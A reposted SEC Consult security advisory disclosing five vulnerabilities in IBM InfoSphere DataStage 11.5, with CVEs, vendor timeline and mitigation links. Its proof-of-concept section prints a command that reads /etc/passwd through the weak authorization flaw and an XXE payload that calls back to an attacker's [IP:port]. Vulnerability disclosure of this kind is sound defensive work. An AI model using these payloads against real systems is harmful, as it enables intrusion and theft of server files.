IBM Infosphere Information Server Datastage 11.5 Command Execution Bypass

Details: Written by: khalil shreateh; Category: Vulnerabilities; Hits: 644

SEC Consult Vulnerability Lab Security Advisory < 20170913-0 >
=========================& SEC Consult Vulnerability Lab Security Advisory < 20170913-0 >
=======================================================================
title: Multiple Vulnerabilities
product: IBM Infosphere Information Server / Datastage
vulnerable version: 9.1, 11.3, and 11.5 (including Cloud version 11.5)
fixed version: -
CVE number: CVE-2017-1495, CVE-2017-1468, CVE-2017-1383, CVE-2017-1467
impact: Critical
homepage: http://www-03.ibm.com/software/products/en/ibminfodata
found: 2017-03-16
by: Goh Zhi Hao, Mohammad Shah Bin Mohammad Esa, Samandeep Singh
(Office Singapore)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
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=======================================================================

Vendor description:
-------------------
"IBMA(r) InfoSphereA(r) DataStageA(r) integrates data across multiple systems
using a high performance parallel framework, and it supports extended
metadata management and enterprise connectivity. The scalable platform
provides more flexible integration of all types of data, including big
data at rest (Hadoop-based) or in motion (stream-based), on distributed
and mainframe platforms."

Source: http://www-03.ibm.com/software/products/en/ibminfodata

Business recommendation:
------------------------
Attackers are able to bypass authorization controls to execute system commands.
The vendor did not provide a patch but mitigation steps which have to be
implemented.

SEC Consult recommends the vendor to conduct a comprehensive security analysis,
based on security source code reviews, in order to identify all vulnerabilities
in the Remote Management platform and increase the security for its customers.

Vulnerability overview/description:
-----------------------------------
1) Weak Authorization (CVE-2017-1467)
The Administrator Client allows users with high priviledges to execute commands.
A low privileged application user can replay the same request and execute arbitrary
commands on the server.

This happens because the application links to a single linux user in the backend
server. The application privileges are based on this system user irrespective of
the user role of the application user.

Hence, any command can be executed by a low privileged application user in the
backend OS, depending on the privileges of the linux user the application is using.

2) XML eXternal Entity (XXE) Injection (CVE-2017-1383)
The Designer client allows users to import files in XML format.
By tricking the user to import an XML file with malicious XML code to the
application, it's possible to exploit an XXE vulnerability within the application.

3) DLL Preloading
Dynamic Link Library (DLL) files are loaded from the application's home directory
without being verified. This may lead to execution of arbitrary files on the system as
any users can replace the DLLs.

4) Loading Arbitrary Executables (CVE-2017-1468)
The Director and Designer Client do not check for any file signatures before loading
and executing other executable files. Existing files can be replaced by any user with
executable files, which will be executed from the toolbar.

5) Cleartext Passwords in Memory Dump (CVE-2017-1495)
User credentials are stored in clear text within the memory which can be
dumped to retrieve these credentials.

Proof of concept:
-----------------
1) Weak Authorization (CVE-2017-1467)
Any command can be injected back to the Administrator Client to execute system
commands.
Example:
==============================================================================
SH -c "cat /etc/passwd"
==============================================================================

2) XML External Entity Injection (XXE) (CVE-2017-1383)
For example by importing the following XML code, arbitrary files can be read
from the client's system. The following code generates the connection request
from the client system to attacker system.

===============================================================================
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://[IP:port]/" >]><foo>&xxe;</foo>
===============================================================================

IP:port = IP address and port where the attacker is listening for connections

Furthermore some files can be exfiltrated to remote servers via the
techniques described in:

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf
http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf

3) DLL Preloading
Removed proof of concept.

4) Loading Arbitrary Executables (CVE-2017-1468)
The following executables can be replaced to with other executable files with
the same name :
==============================================================================
Director.exe
DSDesign.exe
==============================================================================

5) Cleartext Passwords in Memory Dump (CVE-2017-1495)
Users can create a memory dump file based on the process id of the application.
User credentials can be extracted by searching it in the dump file.

Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the most recent one when
the vulnerabilities were discovered:

IBM Infosphere Datastage 11.5

IBM states that the following products are also affected:

IBM InfoSphere Information Server: versions 9.1, 11.3 and 11.5
IBM InfoSphere Information Server on Cloud: version 11.5

Vendor contact timeline:
------------------------
2017-05-23: Contacting vendor through email
(https://www-03.ibm.com/security/secure-engineering/report.html)
2017-06 - 2017-07: Coordinating with vendor to wait for their public disclosure
of fixes/mitigations. Vendor also requested for more time to get
back to us for some of the issues.
2017-07-29: Informed vendor that issue 3 will be released without proof of
concept as fix/mitigation is not available.
2017-07-31: Vendor releases mitigation stepts / workarounds
2017-09-13: Public release of advisory

Solution:
---------
No patches are available. The vendor described mitigations/workarounds for the
vulnerabilities. There is no mitigation / solution for issue 3)

Workaround:
-----------
See the following URLs by the vendor for further details regarding
mitigation steps:

1) Weak Authorization (CVE-2017-1467)
http://www-01.ibm.com/support/docview.wss?uid=swg22006063

2) XML eXternal Entity (XXE) Injection (CVE-2017-1383)
http://www-01.ibm.com/support/docview.wss?uid=swg22005803

4) Loading Arbitrary Executables (CVE-2017-1468)
http://www-01.ibm.com/support/docview.wss?uid=swg22006067

5) Cleartext Passwords in Memory Dump (CVE-2017-1495)
http://www-01.ibm.com/support/docview.wss?uid=swg22006068

Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
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Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
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recommendation about the risk profile of new technologies.

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EOF M. Shah / @2017